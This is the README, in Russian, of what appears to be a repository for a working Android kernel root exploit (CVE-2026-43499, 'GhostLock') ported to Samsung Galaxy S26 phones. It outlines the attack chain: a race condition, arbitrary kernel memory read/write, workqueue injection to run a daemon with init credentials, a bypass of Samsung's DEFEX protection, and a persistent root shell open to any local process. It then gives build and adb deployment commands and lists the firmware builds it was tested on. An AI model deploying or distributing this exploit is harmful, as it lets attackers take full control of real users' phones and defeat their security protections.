
GhostLock (CVE-2026-43499) для Galaxy S26
CVE-2026-43499, портированный на серию Samsung Galaxy S26, — Android 16 / GKI 6.12. Один бинарник, три линии ядра, динамическое сопоставление параметров во время выполнения: теоретически покрывает всю серию S26 без компиляции под каждую сборку.
Большинство попыток портирования GhostLock нацелены на одно устройство или одну прошивку. Этот репозиторий — новый порт, переписывающий каждый механизм под цель S26; ожидается, что он покроет всё семейство.
Поддерживая snothin/CyberMeowfia, я обнаружил, что исходный канал pipe physrw нестабилен (он обрывал сеть), поэтому я отказался от этого пути и исследовал альтернативы. Позже я обнаружил, что monovibe продвинулся дальше по пути, который я исследовал; я перенял этот подход, и после многократной отладки этот репозиторий обрёл форму.
uid=0(root) context=u:r:kernel:s0; постоянная
root-оболочка через su_daemon на абстрактном unix-сокете.work_struct
в system_unbound_wq, функцией которого является call_usermodehelper_exec_work, поэтому
ядро выполняет наш демон с init-кредами. Защита KDP на уровне EL2 для страниц credentials
никогда не срабатывает.pselect + futex PI race
→ one aligned qword write per round
→ attr carrier (two fake misc fds)
controller fd retargets the data pointer
data fd reads/writes any kernel address
→ slide oracle (tracefs)
→ UMH root (workqueue injection)
system_unbound_wq
ptmx open/close storm wakes a worker
kernel execs daemon with init creds
→ DEFEX bypass (bind-mount)
→ su_daemon listens on /data/local/tmp/temp_su.sock
Параметры сопоставляются по линии ядра (три линии: cn, intl, exynos), а не
по отдельной сборке. Неизвестные OTA-сборки откатываются к ближайшей известной линии
по модели и CSC. Полностью неизвестные модели отклоняются (fail-closed). Авторитетный
список сборок встроен в exploit/src/params_table.c.
Параметры, необходимые при портировании на новое устройство или прошивку, см.
в PORTING.md.
Требуется Android NDK (r26+). Просто выполните:
cd exploit
make preload
# produces build/bin/preload.so (exploit) and build/embed/su_daemon_aarch64_pie (embedded daemon)
Отправьте preload.so, su_daemon_aarch64_pie и ksud на устройство (выполняйте из
сессии adb shell, uid 2000):
adb push exploit/build/bin/preload.so /data/local/tmp/
adb push exploit/build/embed/su_daemon_aarch64_pie /data/local/tmp/cve-2026-43499-root
adb push <ksud> /data/local/tmp/ksud
adb shell chmod 755 /data/local/tmp/cve-2026-43499-root /data/local/tmp/ksud
# Single attempt:
adb shell "env LD_PRELOAD=/data/local/tmp/preload.so sh"
Эксплойт вероятностный (гонка) и обычно требует повторных попыток. При успешном
запуске su_daemon прослушивает /data/local/tmp/temp_su.sock, и любой локальный
процесс может подключиться.
Защита boot-claim (/data/local/tmp/ghostlock-boot.log) фиксирует результат запуска
для каждой загрузки; повторный полный прогон цепочки в той же загрузке отклоняется
(может привести к краху устройства). Очистите файл или задайте BOOT_FORCE=1, чтобы переопределить.
exploit/src/kernelsnitch/)Этот репозиторий выпущен под лицензией Apache-2.0; полный текст см. в LICENSE, сведения о происхождении кода — в NOTICE.
| Модель | Кодовое имя устройства | Протестированные сборки |
|---|
| SM-S942x (S26 Snapdragon) | m1q | S9420ZCS4AZG1, S942QOPU1AZDE, S942U1UES4AZG3, S942USQS4AZG3 |
| SM-S947x (S26+ Snapdragon) | m2q | S9470ZCS4AZG1, S947USQS4AZG3 |
| SM-S9480 (S26 Ultra CN) | m3q | S9480ZCS3AZF1, S9480ZCS4AZG1 (протестированная сборка) |
| SM-S948x (S26 Ultra) | m3q | S9480ZHS4AZG1, S948BXXS4AZG5/6, S948NKSS4AZG3, S948U1UES2AZE1, S948USQS4AZG3 |
| SM-S942B (S26 Exynos) | m1s | S942BXXS4AZG5 |
| SM-S947B (S26+ Exynos) | m2s | S947BXXS3AZF1, S947BXXS4AZG5 |